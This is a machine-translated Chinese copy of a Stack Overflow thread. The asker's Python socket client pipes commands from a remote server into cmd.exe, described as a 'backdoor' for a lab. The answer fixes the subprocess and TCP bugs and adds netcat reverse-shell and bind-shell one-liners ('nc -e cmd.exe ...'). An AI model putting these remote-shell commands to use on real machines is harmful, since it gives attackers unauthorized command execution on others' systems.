[英]python subprocess stdin.write a string error 22 invalid argument
我有兩個與套接字通信的python文件。 當我將數據傳遞給stdin.write時,出現錯誤22無效參數。 編碼
a="C:\python27\Tools"
proc = subprocess.Popen('cmd.exe', cwd=a ,universal_newlines = True, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
data = s.recv(1024) # s is the socket i created
proc.stdin.write(data) ##### ERROR in this line
output = proc.stdout.readline()
print output.rstrip()
remainder = proc.communicate()[0]
print remainder
更新 OK基本上,我想在網絡實驗室內的localhost中的系統上創建類似后門的東西。 這是出於教育目的。 我有兩台機器。 1)正在運行ubuntu, 我在服務器中輸入以下代碼:
import socket,sys
s=socket.socket()
host = "192.168.2.7" #the servers ip
port = 1234
s.bind((host, port))
s.listen(1) #wait for client connection.
c, addr = s.accept() # Establish connection with client.
print 'Got connection from', addr
c.send('Thank you for connecting')
while True:
command_from_user = raw_input("Give your command: ") #read command from the user
if command_from_user == 'quit': break
c.send(command_from_user) #sending the command to client
c.close() # Close the connection
為客戶提供以下代碼:
import socket
import sys
import subprocess, os
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print 'Socket created'
host = "192.168.2.7" #ip of the server machine
port = 1234
s.connect((host,port)) #open a TCP connection to hostname on the port
print s.recv(1024)
a="C:\python27\Tools"
proc = subprocess.Popen('cmd.exe', cwd=a ,universal_newlines = True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
while True:
data = s.recv(1024)
if (data == "") or (data=="quit"):
break
proc.stdin.write('%s\n' % data)
proc.stdin.flush()
remainder = proc.communicate()[0]
print remainder
stdoutput=proc.stdout.read() + proc.stderr.read()
s.close #closing the socket
並且錯誤在客戶端文件中
追溯(最近一次呼叫最近):proc.stdin.write('%s \\ n'%data)中的文件“ ex1client2.py”,第50行,ValueError:對已關閉文件的I / O操作
基本上我想從服務器到客戶端運行串行命令,並在服務器中獲取輸出。 第一個命令被執行,第二個命令我得到這個錯誤信息。 導致我找到此解決方案的主要問題是更改目錄命令。 當我執行CD“路徑”時,它不會改變。
您的新代碼有一個不同的問題,這就是為什么它會引發類似但不同的錯誤。 讓我們看一下關鍵部分:
while True:
data = s.recv(1024)
if (data == "") or (data=="quit"):
break
proc.stdin.write('%s\n' % data)
proc.stdin.flush()
remainder = proc.communicate()[0]
print remainder
stdoutput=proc.stdout.read() + proc.stderr.read()
問題在於,每次通過此列表時,您都在調用proc.communicate()
。 正如文檔所解釋的,這將:
發送數據到標准輸入。 從stdout和stderr讀取數據,直到到達文件末尾。 等待進程終止。
因此,在此調用之后,子進程已退出,並且所有管道均已關閉。 但是,下次在循環中,無論如何,您都嘗試寫入其輸入管道。 由於該管道已關閉,因此您會ValueError: I/O operation on closed file
看到ValueError: I/O operation on closed file
,這恰恰說明了它的意思。
如果要在單獨的cmd.exe
Shell實例中運行每個命令,則必須將proc = subprocess.Popen('cmd.exe', …)
位移入循環。
另一方面,如果您想要一個命令一個命令地發送到同一外殼,則不能調用communicate
。 您必須寫stdin
,從stdout
和stderr
讀取,直到您知道它們已完成,然后在下一次循環中將所有內容打開。
第一個的缺點很明顯:如果您在第一個命令中執行cd \\Users\\me\\Documents
,然后在第二個命令中執行dir
,而它們在完全不同的shell中運行,則最終獲取C:\\python27\\Tools
的目錄列表,而不是C:\\Users\\me\\Documents
。
但是第二個缺點也很明顯:您需要編寫代碼,以某種方式知道每條命令何時完成(也許是因為您再次得到提示?),或者會阻塞proc.stdout
, proc.stderr
,和s
都在同一時間。 (並且不會意外地使管道死鎖。)而且,您甚至無法將它們全部扔入select
,因為管道不是插座。 因此,唯一真正的選擇是為stdout
創建一個讀取器線程,為stderr
創建另一個線程,或者從PyPI中獲取一個異步子進程庫,或者使用twisted
或另一個具有自己的異步子進程管道方式的框架。
如果您查看要communicate
的源代碼,那么可以看到線程應該如何工作。
同時,請注意,您的代碼還有另一個非常嚴重的問題。 您期望每個s.recv(1024)
都會返回一個命令。 這不是TCP套接字的工作方式。 您將在一個recv
獲得第一個2-1 / 2命令,然后在下一個中獲得命令的1/4,依此類推。
在localhost或什至是本地LAN上,當您僅發送一些小消息時,它將在99%的時間內正常工作,但是您仍然必須處理那1%的時間,否則您的代碼有時會神秘地中斷。 並且通過Internet甚至許多真實的LAN,它只能在10%的時間內工作。
因此,您必須實現某種以某種方式分隔消息的協議。
幸運的是,對於簡單的情況,Python為您提供了一個非常簡單的解決方案: makefile
。 當命令由換行符分隔,並且您可以同步阻塞直到獲得完整的命令時,這很簡單。 代替這個:
while True:
data = s.recv(1024)
……只要這樣做:
f = s.makefile()
while True:
data = f.readline()
你只需要記住close
兩個f
和s
(或更高版本s
的右后makefile
,並f
更高版本)。 更慣用的用法是:
with s.makefile() as f:
s.close()
for data in f:
最后一件事:
好的,基本上我想在網絡實驗室內的本地主機中在系統上創建類似后門的東西
“ localhost”表示您正在運行的同一台計算機,因此“網絡實驗室內的localhost”沒有任何意義。 我認為您只是在這里意思是“主持人”,在這種情況下,整個事情都說得通。
如果您不需要使用Python,則可以使用netcat的單行代碼完成整個操作。 有一些語法略有不同的不同版本。 我相信Ubuntu內置了GNU netcat。 如果沒有,則可以使用apt-get netcat
或apt-get nc
。 Windows沒有任何功能,但是您可以獲得幾乎任何變體的端口。
一個用於“ netcat遠程外殼程序”的快速Google出現了很多博客文章,論壇消息,甚至顯示了如何執行此操作的視頻,例如使用Netcat生成遠程外殼程序 ,但是您最好還是搜索一下Netcat教程代替。
更常見的設計是讓“后門”計算機(您的Windows盒子)在端口上偵聽,而另一台計算機(您的Ubuntu)連接到該端口,因此大多數博客文章等都在其中。 會告訴你。 該方向的優勢在於,您的“后院服務器”將永遠進行監聽-您可以連接,執行一些操作,退出,稍后再連接等,而無需回到Windows框並開始新的連接。
但是相反,在Windows機器上安裝后院客戶端也一樣容易。 在Ubuntu盒子上,啟動一個僅將終端連接到第一個連接的服務器:
nc -l -p 1234
然后在Windows框中,連接到該服務器,然后將其連接到cmd.exe
。 假設您已經安裝了GNU語法變體:
nc -e cmd.exe 192.168.2.7 1234
而已。 比用Python編寫起來簡單得多。
對於更典型的設計,Windows上的后門服務器運行以下命令:
nc -k -l -p 1234 -e cmd.exe
然后通過以下方式從Ubuntu連接:
nc windows.machine.address 1234
或者甚至可以將-t
添加到后門服務器,然后僅使用telnet
而不是nc
。
問題在於您實際上根本沒有打開子進程,因此管道正在關閉,因此您正在嘗試寫入不存在的內容。 (我很確定POSIX保證您會在這里獲得EPIPE
,但是在Windows上, subprocess
首先不使用POSIX管道,因此無法保證您將獲得的確切結果。但是您可以“再肯定會得到一些錯誤。)
發生這種情況的原因是您正在嘗試打開一個名為'\\n'
的程序(如換行符,而不是反斜杠和n)。 我認為這在Windows上甚至都不合法。 而且,即使是這樣,我也非常懷疑您的路徑上是否有一個名為'\\n.exe'
的可執行文件。
如果您未使用shell=True
這將更容易看到。 在這種情況下, Popen
本身將引發一個異常( ENOENT
),該異常將告訴您以下信息:
OSError: [Errno 2] No such file or directory: '
'
……這將更容易理解。
通常,除非確實需要一些shell功能,否則不應該使用shell=True
。 而且非常罕見的是,您需要外殼功能,還需要手動讀取和寫入管道。
如果您不重用data
來表示兩個完全不同的內容(要運行的程序的名稱以及要從套接字傳遞到管道的數據),那么這也將減少混亂。
聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.